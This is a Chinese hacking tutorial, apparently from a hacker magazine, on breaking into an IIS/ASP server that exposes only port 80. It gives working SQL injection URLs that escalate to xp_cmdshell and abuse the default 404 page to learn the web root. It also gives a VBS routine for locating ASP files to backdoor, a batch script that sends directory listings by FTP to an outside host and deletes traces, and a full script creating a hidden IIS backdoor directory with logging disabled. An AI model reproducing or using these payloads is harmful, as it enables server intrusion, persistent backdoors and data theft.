[摘要]作为专业的服务器, 一般只打开80端口, 这在追求安全的网络环境里已经不足为奇了, 许多网络管理员也放松了警惕, 以为这铜墙铁壁的系统真的无懈可击了。 真得是如此吗?我们通过对某一类似服务器进行渗... 作为专业的服务器, 一般只打开80端口, 这在追求安全的网络环境里已经不足为奇了, 许多网络管理员也放松了警惕, 以为这铜墙铁壁的系统真的无懈可击了。 真得是如此吗?我们通过对某一类似服务器进行渗透打破这种观念。 首先我们要对服务器进行信息收集, 先拿出扫描工具对要测试的站点进行扫描, 对方只提供WEB服务, 开了80端口, 其它信息一无所知, 即使连对方的操作系统类型都不知道。 这样的系统不知道装了N重防火墙或者IDS, 直接从系统入侵根本不可能。 我们还是从HTTP头探测我们所要的信息吧。 对方的IIS版本号是IIS5.0, 加上服务器上的ASP脚本, 可大致判断对方是Windows 2000系统。 知道这些信息对我们基于脚本下的入侵已经足够了。 我们知道, 一般网络管理员, 只是负责对系统安全进行维护, 至于脚本程序是由程序员编写的, 他们大多数不会注意脚本的安全性, 而且也不太可能什么都懂, 从而使服务器有了SQL Injection的问题。 很不幸, 我也发现了一个: http://www.target.com/show.asp?id=1234' 返回如图1所示。 图1 初步判断主机存在SQL注入漏洞, 再次提交URL, 确定服务器的连接权限: http://www.target.com/show.asp?id=1234 and 1=(SELECT IS_SRVROLEMEMBER('sysadmin')) 返回正常, 表明当前连接的账号是服务器Sysadmin权限。 试试SA权限, 根据我的经验, 这样重重防护的服务器除非没有脚本问题, 一旦有, 就很大可能是SA权限的连接: http://www.target.com/show.asp?id=1234 and 'sa'=(SELECT System_user) 返回正常, 表明我的猜测是对的, 它是用SA连接的, 权限比系统管理员还高, 再看看我们最喜欢的Xp_cmdshell存在存在: http://www.target.com/show.asp?id=1234 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell') 返回正常, 表明Xp_cmdshell扩展存储过程没有被删除。 接下来就是最重要的工作了, 虽然现在我们的权限级高, 但由于对方防火墙的限制, 我们除了80端口外无法和服务器进行通信, 而且执行的CMD命令还没有回显。 面对这种僵局, 网上方法很多, 基本上都是取得WEB的物理路径然, 后Echo或Backup一个ASP木马到WEB目录下, 得到WwbShell。 其中简单的方法要属要饭兄的读注册表的方法了, 但是他读取服务器WEB绝对路径一点, 只有在默认安装的时候才会正确读取。 也就是说注册表里面存储的只是在安装IIS时的WEB绝对路径, 而如果用户对这个路径进行修改的话, 注册表内的值仍然是不变的, 因此即使你把木马按照臭要饭的那种方法上传上去也是没有办法找到并执行的。 关于这个方法, 大家可以在黑防前期杂志里看到, 我就不再重复了。 我现在要讲的是一个全新的方法来取得WEB的物理路径, 大家要看好了啊。 第一步我们要做的是在域名下随便输入一个不存在的页面, 显然服务器会返回给我们404未找到的错误页面。 如果管理员没有修改默认的错误页面, 我们基本上就可以通过它来取得WebShell了。 脚本小子:错误页面的默认位置是C:\winnt\help\iisHelp\common\目录, 这是Windows 2000系统的默认路径, Windows 2003和Windows xp默认路径应该是C:\wondows\help\iisHelp\common\, 其中404错误重定向到的文件是C:\winnt\help\iisHelp\common\404b.htm(windows2000), C:\windows\help\iisHelp\common\404b.htm(windowsXP), 这里默认是将C盘作为系统盘得到的物理路径。 好了, 为了保险起见, 我们先让服务器返回这个错误页面并将它保存起来, 用来恢复修改后的服务器上的页面。 好了, 看好下面的提交: http://www.target.com/show.asp?id=1234;exec master.dbo.xp_cmdshell 'tree d:\ >>c:\winnt\help\iisHelp\common\404b.htm';-- 等待一会儿, 因为这个命令执行的很慢。 我们随便访问一个不存在的页面, 使服务器返回这个页面, 如果没有变化, 不要着急, 在保证命令没有出错的前提下继续提交: http://www.target.com/show.asp?id=1234;exec master.dbo.xp_cmdshell 'tree d:\ >>c:\wondows\help\iisHelp\common\404b.htm';-- 或 http://www.target.com/show.asp?id=1234;exec master.dbo.xp_cmdshell 'tree d:\ >>d:\winnt\help\iisHelp\common\404b.htm';-- 或 http://www.target.com/show.asp?id=1234;exec master.dbo.xp_cmdshell 'tree d:\ >>d:\wondows\help\iisHelp\common\404b.htm';-- 这是我测试的时候写入的111111, 看是不是成功了?如图2所示。 我们再去构造目录命令, 再访问那个定制的错误页面, 它已经将D盘的目录结构写到了这个文件上, 为了不被其它浏览者也看到这个页面, 赶快将它复制来, 然后用Echo命令将它写回去。 为了提高速度, 可以使用NBUPLOAD程序。 接下来我们慢慢从得到的目录树中找到WEB物理路径吧! 其实我们还有其它的方法快速取得一个WebShell, 比如说在本地先写一个VBS脚本文件, 大致作用是取得服务器各个分区的目录结构(使用Tree命令), 然后从中搜索Inc或Images等特征文件夹, 得到此文件夹的物理路径后将一个ASP木马写入这个目录就可得到WebShell了。 同样我们利用VBS脚本遍历文件, 查找ASP扩展名, 像病毒一样感染这种类型文件也可得到WebShell。 由于这种方法杀伤力极大, 完整的VBS就不提供了, 我把关键代码写出来: sub search(folder_) 'search函数定义, on error resume next '如果出现错误, 直接跳过. set folder_=fso.getfolder(folder_) set files=folder_.files ' 当前目录的所有文件集合 for each file in filesext=fso.GetExtensionName(file) '获取文件后缀 ext=lcase(ext) '后缀名转换成小写字母 if ext="asp" then '如果后缀名是asp, 则插入后门。 Wscript.echo (file) end if next set subfolders=folder_.subfolders for each subfolder in subfolders '搜索其他目录;递归调用search( ) search(subfolder) next end sub 如果服务器的防火墙限制得不很严格, 我们同样可以调用FTP命令将目录结构文件Tree.txt发送出去, 此Tree.bat文件的文件如下: tree c:\ >tree.txt tree d:\ >>tree.txt tree e:\ >>tree.txt tree f:\ >>tree.txt echo ftp 172.18.16.61 21>ftp.txt echo llikz>>ftp.txt echo 111111>>ftp.txt echo put tree.txt>>ftp.txt echo bye>>ftp.txt ftp -s:ftp.txt del ftp.txt del tree.txt del tree.bat 将它用Echo写到服务器的一个根目录下如D:\然后运行即可。 其实如果对方使用的是标准的Windows 2000服务器, 直接使用动鲨的IIS.vbs建立IIS隐藏后门就可以了, 代码如下: help1="IIS后门设置器 FOR WIN2000 BY 动鲨 3月3号2004 年" help2="请输入正确的虚拟目录名称和映射的路径,格式如下" help3=" cscript.exe iis.vbs 虚拟目录的名称 映射的路径" help4="例如: cscript.exe iis.vbs lh e:\" set Args = Wscript.Arguments if args.count < 2 then wscript.echo help1 wscript.echo "" wscript.echo help2 wscript.echo "" wscript.echo help3 wscript.echo "" wscript.echo help4 wscript.quit end if strVRName=args(0) ''虚拟目录名称 strRootPath=args(1) ''虚拟目录路径 Set checkVirtualDir=GetObject("IIS://LocalHost/W3SVC/1/Root") For each VR in checkVirtualDir if VR.Name="lhxy" Then foundt ="yes" else foundt= "no" End If Next if foundt ="yes" then wscript.echo "发现已经创建了lhxy目录, 正在设置自定义的虚拟目录" creatvdir else wscript.echo "正在创建lhxy目录, 以及自定义文件夹, 请等待!" creatlhxy creatvdir end if wscript.echo "你创建的虚拟目录名称是"& strVRName &", 映射的文件夹是 " & strRootPath &"。 " wscript.echo "请访问http://IP/lhxy/"& strVRName &"/ 来连接后门!" wscript.echo "恭喜!后门设置全部完成!" sub creatlhxy() Set objDir=GetObject("IIS://LocalHost/W3SVC/1/Root") Set myDir=objDir.Create("IISWebVirtualDir","lhxy") myDir.AccessRead=true myDir.DefaultDoc=mydir.DefaultDoc myDir.AppIsolated=0 myDir.AccessExecute=true myDir.DontLog=true myDir.AccessSource=true myDir.EnableDirBrowsing=true myDir.setinfo end sub sub creatvdir() Set objVirtualDir=GetObject("IIS://LocalHost/W3SVC/1/Root/lhxy") Set VirDir=objVirtualDir.Create("IISWebVirtualDir",strVRName) VirDir.AccessRead=true VirDir.Path=strRootPath VirDir.DefaultDoc="" VirDir.AccessExecute=true VirDir.AccessWrite=true VirDir.AccessSource=true VirDir.AppIsolated=0 VirDir.DontLog=true VirDir.EnableDirBrowsing=true VirDir.appcreate 0 VirDir.CreateProcessAsUser=0 VirDir.setInfo end sub wscript.quit 将它用Echo命令写到服务器上然后提交如下URL: http://www.target.com/show.asp?id=1234;exec master.dbo.xp_cmdshell 'cscript iis.vbs llikz d:\';-- 即可建立一个隐藏的虚拟目录, 不过这种方法只能对付Windows 2000系统, 而且据我实验, 成功率不高。 不过它的优势也非常明显:不依赖Adminscrips下的VBS脚本, 独立性很强。 得到物理路径后入侵就简单多了, 上传ASP木马想办法提升权限就可以了。 本文只是提出了几个比较另类的得到物理路径的办法, 或许在普通情况下没有太多的意义, 但在防护特别严密、管理员特别BT的服务器上, 不妨试下文章中的方法, 相信一定会有收
上面是电脑上网安全的一些基础常识,学习了安全知识,几乎可以让你免费电脑中毒的烦扰。
|